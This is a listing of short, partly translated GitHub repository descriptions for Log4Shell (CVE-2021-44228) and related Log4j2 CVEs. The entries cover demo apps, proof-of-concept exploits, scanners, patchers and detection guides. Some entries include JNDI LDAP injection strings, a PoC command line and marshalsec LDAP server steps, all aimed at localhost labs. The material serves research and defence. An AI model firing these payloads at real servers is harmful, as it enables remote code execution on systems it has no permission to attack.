log4j2-CVE-2021-45046

Log4j2 취약 애플리케이션 샘플 CVE-2021-45046 영향을 받는 버전: 2.0-beta9부터 2.15.0까지의 모든 버전 이 애플리케이션은 CVE-2021-45046에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다. Log4j 2.14.1spring-boot-starter-log4j2 2.6.1을 통해을 사용합니다. 애플리케이션 실행 실행: Java IDE에서 프로젝트를 Maven 프로젝트로 가져옵니다. CVEMainApplication.java를 Spring Boot 앱으로 실행합니다. 익스플로잇 ...

log4j-vul

log4j-vul 이 프로젝트는 Apache Log4j2 취약점CVE-2021-44228을 보여주기 위한 것입니다. Java: java version "1.8.0121" Compile: src 폴더에서 javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: src 폴더에서 java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.j...

CVE-2021-44228

CVE-2021-44228 Log4j2 컴포넌트 명령 실행 RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 위험 개요 본 도구는 인가된 보안 테스트에만 사용할 수 있으며, 무단 불법 공격 사이트는 금지합니다 온라인으로 《중화인민공화국 네트워크 보안법》 읽기 0x01 도구 사용 실행 중 안내 0x02 주의 본 도구는 JNDI 주입 도구를 호출하여 취약점 공격을 수행합니다 공격 대상 주소는 전체 경로를 입력하세요! 삽입 매개변수는 취약점이 존재할 가능성이 있...

loguccino

Log4J2 CVE-2021-44228 漏洞扫描器与修复工具 下载最新版本的链接： Linux x64（glibc 2.17+，RHEL7+）| Windows 及其他所有平台 ---|--- 下载 Linux 二进制文件| 下载 Java .jar 文件 🚑 注意：希望为其 SAS 9.4 或 SAS Viya 3.x 部署打补丁的 SAS 客户应遵循SAS Help Center 文档 中提供的具体说明。 这是什么 该项目是 logpresso/CVE-2021-44228-Scanner 的早期分支，最初经过修改以递归检查归档文件，并增加了对 tar/gz...

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 — Log4Shell: Apache Log4j2 원격 코드 실행 CVSS 10.0 치명적 | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 | CWE-917: 표현식 언어 주입에 대한 부적절한 중화 개요 Log4ShellCVE-2021-44228은 2020년대 가장 심각한 취약점으로 꼽히며, Apache Log4j2 2.02.14.1 버전에 영향을 미칩니다. 2021년 11월 Alibaba Cloud Security의 Chen Zhaojun이 발견했고 2021년 12월 9일에 공개적으로 알려졌으며...

CVE-2021-44228---Log4Shell-Analysis

🔥 Log4Shell CVE-2021-44228 분석 Log4Shell 취약점CVE-2021-44228에 대한 포괄적인 기술 분석으로, 현대 소프트웨어 역사상 가장 치명적인 취약점 중 하나입니다. 📖 개요 이 저장소는 Apache Log4j2의 Log4Shell 취약점에 대한 심층 분석을 포함하며, 다음을 다룹니다: 취약점 메커니즘에 대한 기술적 심층 분석 코드 분석 및 패치 검토 공격 흐름 설명 완화 전략 실습 환경 구축 가이드 🎯 요약 항목| 세부 정보 ---|--- CVE ID| CVE-2021-44228 CVSS 점수|...

mc-log4j-patcher

mc-log4j-patcher JNDI RCE 수정 사항이 포함된 최신 버전2.15.0으로 취약한CVE-2021-44228 이전 Log4j2 버전을 교체합니다. Spigot 1.12.2, PaperSpigot 1.8.8, PaperSpigot 1.17.1에서 테스트됨 이 도구는 PaperSpigot 1.8.8과 같이 현재 지원되지 않는 서버를 수정하기 위한 것입니다. 이 도구를 사용하기 전에 현재 서버 소프트웨어에 취약점을 수정하는 공식 릴리스가 있는지 확인하십시오. 사용법: java -jar patcher.jar...

log4j2-bugmaker

Log4j2-BugMaker CVE-2021-44228 Log4Shell 취약점 데모 프로젝트 이것은 Log4j2 원격 코드 실행 취약점Log4Shell을 학습하고 연구하기 위한 데모 프로젝트입니다. ⚠️ 보안 경고 이 프로젝트는 보안 연구 및 교육 목적으로만 사용되며, 프로덕션 환경에서 사용하지 마십시오! 이 프로젝트는 심각한 보안 취약점이 있는 Log4j 2.14.1 버전을 사용합니다. 📋 환경 구성 Spring Boot : 2.6.1 Log4j2 : 2.14.1 취약한 버전 Java : 8 JDK 1.8 🚀 빠른 시작 1...

Microsoft-Defender-for-Endpoint-Deployment-on-Windows-10-11-device

이 저장소는 Windows 11 디바이스에 Microsoft Defender for Endpoint를 배포하는 방법을 문서화합니다. 여기에는 로컬 스크립트를 통한 온보딩, 디바이스 검색 활성화, Log4j2 탐지CVE-2021-44228 구성, 그리고 사고 대응 워크플로 검증이 포함됩니다. 주요 기능 ✅ Windows 10/11용 로컬 스크립트 온보딩 🔍 표준 디바이스 검색 설정 🧨 Log4j2 취약점 탐지 📈 경고 검증 및 사고 대응 📋 Defender 도구를 사용한 수정 워크플로 프로젝트 목표 ✔️ Windows 10/11...

Log4j-Rec-CVE-2021-44228

Log4j2 재현 노트, 학습용 참조 https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce 실행 파일 생성 com/example/template javac Log4jRCE.java Python 내장 HTTP 서버 시작 com/example/template python -m http.server 8888 LDAP 서버 시작 tools java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

log4j2-rce-poc

Log4j2 RCE 취약점 PoC Log4j2 JNDI 원격 코드 실행RCE 취약점CVE-2021-44228에 대한 최소한의 개념 증명PoC입니다. 이는 보안 연구원이 아닌 사람들이 그 작동 방식과 영향이 얼마나 큰지 이해하도록 돕기 위한 교육 목적으로 작성되었습니다. 이 PoC는 com.sun.jndi.rmi.object.trustURLCodebase 및 com.sun.jndi.cosnaming.object.trustURLCodebase 속성을 true로 설정해야 하는 요구 사항을 우회하며, 해당 속성은 8u121, 7u13...

CVE-2021-44228

CVE-2021-44228 PoC Log4Shell ⚠️ 면책 조항: 이 도구는 교육 목적, 보안 연구 및 통제된 테스트 환경에서만 사용하도록 제작되었습니다. 명시적인 허가 없이 시스템에 사용하는 것은 불법 이며, 그 책임은 전적으로 사용자에게 있습니다. 📌 설명 이 프로젝트는 Apache Log4j2 CVE-2021-44228 취약점에 대한 간단한 개념 증명PoC 익스플로잇을 포함합니다. PoC는 JNDI LDAP 페이로드가 포함된 특수하게 조작된 HTTP 헤더를 대상에 전송합니다. 대상이 취약한 경우, 지정된 LHOST 주소...

Log4j2-CVE-2021-44228

CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml default use : xml org.springframework.boot spring-boot-starter-web mvn dependency:treejava INFO | | +- org.springframework.boot:spring-boot-starter-logging:jar:2.6.1:compile INF...

log4j2-CVE-2021-44228-poc-local

log4j2-CVE-2021-44228-poc-local log4j2의 CVE-2021-44228에 대한 개인적인 개념 증명PoC입니다...

log4j2-issue-check

Log4Shell: RCE 0-day 이슈 평가 이 저장소는 Log4j2 취약점 CVE-2021-44228을 평가하기 위한 코드를 포함하고 있습니다. 자세한 내용 https://www.lunasec.io/docs/blog/log4j-zero-day/ 테스트 방법 쿼리 매개변수로 $jndi:ldap://127.0.0.1:3089/를 포함한 GET 요청을 보냅니다. http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 위 요청을...

CVE-2021-44228-Demo

CVE-2021-44228-Demo 이 프로젝트는 제로데이 log4j 익스플로잇을 증명하고 테스트하기 위한 것입니다. 의존성 확인 ./mvnw dependency:list 패치 A 환경 변수 LOG4JFORMATMSGNOLOOKUPS=true 설정 B vm 옵션 추가: -Dlog4j2.formatMsgNoLookups=true C.1 log4j2.formatMsgNoLookups=true 속성 추가 작동 안 함 C.2 log4j.formatMsgNoLookups=true 속성 추가 작동 안 함 D 2.15.0으로 업데이트 E...

vuln_spring_log4j2

vulnspringlog4j2 log4j2CVE-2021-44228 테스트를 위한 취약한 Spring 애플리케이션 Java 버전: 1.8 Spring Boot 버전: 2.4.0 Spring Core 버전: 5.3.1 Log4j 버전: 2.13.3 Burp 로그...

log4j-poc

log4j-poc CVE-2021-44228 Log4Shell용 LDAP RCE 익스플로잇 설명 포트 8080의 데모 Tomcat 8 서버에는 취약한 앱log4shell이 배포되어 있으며, 서버는 user-agent 공격에도 취약합니다. 이 데모의 원격 익스플로잇 앱은 https://github.com/kozmer/log4j-shell-poc 에서 찾은 것을 기반으로 합니다. 이 데모 tomcat 서버Tomcat 8.5.3, Java 1.8.0u51는 로깅에 Log4J2를 사용하도록 재구성되었습니다비표준 구성. 새로운...

Log4j_dos_CVE-2021-45105

Log4j2 DOS（CVE-2021-45105） Poc $$::-$::-$$::-$ 影響を受けるバージョン: 2.0-beta9 から 2.16.0 までの全バージョン このアプリケーションは、CVE-2021-45105 の脆弱性がある Spring Boot Web アプリケーションに基づいています。 これは Log4j 2.16.0 を使用しています。 アプリケーションの実行 実行: Import the project in Java IDE as a maven project Run CVEMainApplication.java as a spring boot...